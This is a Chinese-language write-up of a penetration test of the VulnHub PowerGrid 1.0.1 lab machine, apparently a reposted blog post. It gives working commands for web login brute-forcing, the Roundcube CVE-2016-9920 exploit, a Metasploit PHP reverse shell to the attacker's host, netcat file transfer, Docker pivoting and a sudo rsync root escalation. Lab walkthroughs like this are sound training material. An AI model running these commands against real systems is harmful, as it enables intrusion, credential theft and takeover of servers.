1. 程式人生 > 實用技巧 >VulnHub PowerGrid 1.0.1靶機滲透

VulnHub PowerGrid 1.0.1靶機滲透

​本文首發於微信公眾號:VulnHub PowerGrid 1.0.1靶機滲透,未經授權,禁止轉載。

難度評級:☆☆☆☆☆官網地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova天翼雲盤:https://cloud.189.cn/t/2UN7Ffiuqyym百度網盤:https://pan.baidu.com/s/10l8dshcdaLxWL7eGN92U4Q 提取碼:r4zc官網簡介:靶機會進行計時,即使關閉虛擬機器器也不會停止,超時後將銷燬證據滲透目標:獲取root許可權,找到4個flag本機地址:192.168.110.27靶機地址:192.168.110.36 

資訊收集

話不多說,直接上nmap看靶機IP。

nmap 192.168.110.0/24 -sP

本機是192.168.110.27,那靶機就是192.168.110.36。接著掃一下埠。

nmap -A -p- 192.168.110.36

沒有開啟22號埠可還行,第一次見到這麼任性的靶機。沒關係,80埠終歸還是開啟了的,看看網頁。

網頁端顯示了一個計時器,文字說明提示這是一封勒索信,3個小時之內要交250億歐元,這黑客可是真夠黑的。不過,這個網頁的最後透露了deez1、p48、all2這幾個使用者名稱,需要留意一下。

按照規矩,一般都會遍歷一下網頁的目錄。

dirb http://192.168.110.36

什麼也沒有可還行,不過按照以前的經驗(VulnHub CengBox2靶機滲透),有可能是預設字典不夠大,使用dirbuster的字典再掃一次。

dirb http://192.168.110.36 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -w

發現images目錄和zmail頁面。

images目錄就是兩張背景圖片,沒什麼用,而訪問zmail頁面則彈出一個登入對話方塊,使用幾個常見密碼和使用者名稱登入失敗,嘗試使用burp爆破。

對登入介面抓包後發現使用者名稱密碼採用了Base64編碼,使用burp自帶的解碼器解碼。

其實就是在使用者名稱和密碼之間插入了一個冒號。接下來使用最經典的rockyou密碼字典爆破,使用者名稱則選擇deez1、p48、all2。

經過漫長的等待,終於發現有一個響應包的長度跟其他的不一樣。

成功獲取登入密碼,登入後發現又是一個登入介面。

使用同樣的使用者名稱密碼登入嘗試,登入成功(簡直多此一舉)。登入後發現root傳送過來了一封右鍵。

郵件中寫道還有另一臺伺服器,下面的加密資訊就是SSH的私鑰,是用p48的gpg私鑰加密的,可以用來登入那臺伺服器但沒必要。呵呵,沒必要?我會聽你的?你個糟老頭子壞得很。不過暫時還沒有辦法解密訊息,先把加密訊息儲存下來。

由於在網頁端可以寫郵件,因此猜測能通過附件上傳PHP木馬,經過嘗試後並不奏效,只好去查詢roundcube的漏洞。

msfconsole search roundcube

痛苦,在Metasploit裡找不到相關漏洞。不過不用灰心,說不定在網上能找到。

經過查詢後發現小於1.2.2版本的roundcube存在程式碼執行漏洞,編碼為CVE-2016-9920,GitHub連結為:https://github.com/t0kx/exploit-CVE-2016-9920。

git clone https://github.com/t0kx/exploit-CVE-2016-9920.git

漏洞利用

這個exp是用python寫的,不過作者給的示例都不能使用,因為靶機上有兩個登入介面,而正常來說,網站只需要登入一次就夠了。另外,需要更改exp的發件人與收件人。

./exploit.py --host p48:[email protected] --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"

攻擊成功,現在只需要訪問http://192.168.110.36/zmail/backdoor.php即可執行命令了。先看看/var/www/目錄下都有些啥東西。

很好,發現了第一個flag檔案,趕緊檢視一下內容。

提示是pivote,並沒有什麼用。既然已經可以執行任意命令,那麼就可以配合msf獲取shell。

msfconsoleuse multi/script/web_deliveryset payload php/meterpreter_reverse_tcpset LHOST 192.168.110.27set target PHPrun

執行之後會顯示一條以php開頭的命令,複製到瀏覽器訪問。

這時msf已經成功獲取session了。

sessions -lsessions -i 1shell

很無奈,每次拿到的shell都很不好用,沒有安全感。利用python將難用的shell改成bash。

whereispython

發現有python2.7和python3.7。

python3.7 -c 'import pty; pty.spawn("/bin/bash")'

成功獲取了www-data的bash,接下來就要作點妖了,先看看家目錄下都有哪些使用者。

cd /homels

很好,有一個叫p48的使用者,這個使用者的網頁端密碼之前已經爆破出來了,嘗試切換到p48。

完美,p48跟我一樣,喜歡一個密碼到處用,更驚喜的是p48家目錄下有一個gpg私鑰,這應該就是可以解密網頁端加密訊息的私鑰了(翻譯翻譯,什麼叫驚喜)。

不過奇怪的是,靶機上竟然沒有gpg命令,必須拷貝到攻擊主機上才能解密。

nc -lvvp 31337 < privkey.gpgnc 192.168.110.36 31337 > p48.gpg

接下來解密檔案。

gpg --import p48.gpggpg --decrypt id_rsa.encoded > id_rsa

解密後還需要把id_rsa傳回到靶機,同樣使用的nc,這裡就不贅述了。

現在問題來了,這個SSH私鑰檔案是要拿來連線誰的呢?郵件裡root說的另一臺伺服器在哪呢?莫非這臺靶機上還運行了虛擬機器器?檢視一下IP看看有什麼貓膩。

有一個叫docker0的網路卡,這臺靶機應該還執行著docker,所謂的另一臺伺服器應該就在容器裡執行著。

掃一下172.17.0.0/24這個網段(網路卡資訊顯示網段為172.17.0.0/16,不過172.17.0.0/24的範圍更大,因此不會漏洞可能的IP),看看另一臺靶機的埠是多少。由於靶機沒有安裝nmap,所以只能使用迴圈加ping的方法判斷。

for i in {1..254} ; do ping -c 1 172.17.0.$i -W 1 &>/dev/null && echo 172.17.0.$i is alive || echo 192.168.110.$i is down ;done

還好IP比較靠前,一下子就掃出來了。接著使用SSH私鑰登入。

chmod 600 id_rsassh -i id_rsa [email protected]

登入後很容易就發現了第二個flag。

第二個flag提示p48的使用者許可權不高,很明顯,這是提示要提權了。

許可權提升

首先看看有什麼命令是可以提權執行的。

sudo -l

rsync命令可以免密碼以root使用者許可權執行,rsync命令可以理解成一個加強版的cp命令,既然可以使用root許可權執行,那麼就可以把/root/下的所有檔案拷貝到/tmp目錄下檢視。

第三個flag已經出來了,這個flag提示pivoting backwards,難不成第四個flag在docker外?由於最開始掃描靶機埠時22號埠沒有開啟,這裡又提示要往回找第四個flag,我們有理由懷疑靶機在docker0網路卡上開放了SSH服務,往外連線試試。

實錘了,可以通過172.17.0.1連線到靶機。不過並不知道密碼,p48使用者家目錄下的.ssh目錄裡也沒有存放SSH私鑰,這是一件很頭疼的事。

經過查詢,發現rsync命令不僅可以用來拷貝檔案,還可以用來提權。

sudo -u root rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/nullwhoami

很好,已經成功提權到root,接下來檢視/root/.ssh/目錄下有沒有SSH私鑰。

cd /root/.sshlsssh -i id_rsa [email protected]

不出所料,成功登入到外面的靶機。接下來就是查詢第四個flag了。

第四個flag就存放在/root/目錄下,根據提示,這是最後一個flag了。

至此,對PowerGrid的滲透已經全部完成。

總結

這個靶機整體偏難,首先是網頁端的爆破,一般的密碼字典很難跑出來,而rockyou這個密碼字典又很大,如果不耐心等待的話很難爆破出來。

其次是這臺靶機多次用到了公私鑰,如果對非對稱加密和gpg工具不熟悉的話,可能就會無法進入下一關。

這臺靶機還執行著docker,就相當於有兩臺靶機,這是PowerGrid比較新穎的地方。另外,3個小時的時間限制也為滲透增加了幾分緊張刺激的氣氛。

整體來說,這臺靶機在形式上有一定的創新性,很值得下載下來親自復現一下。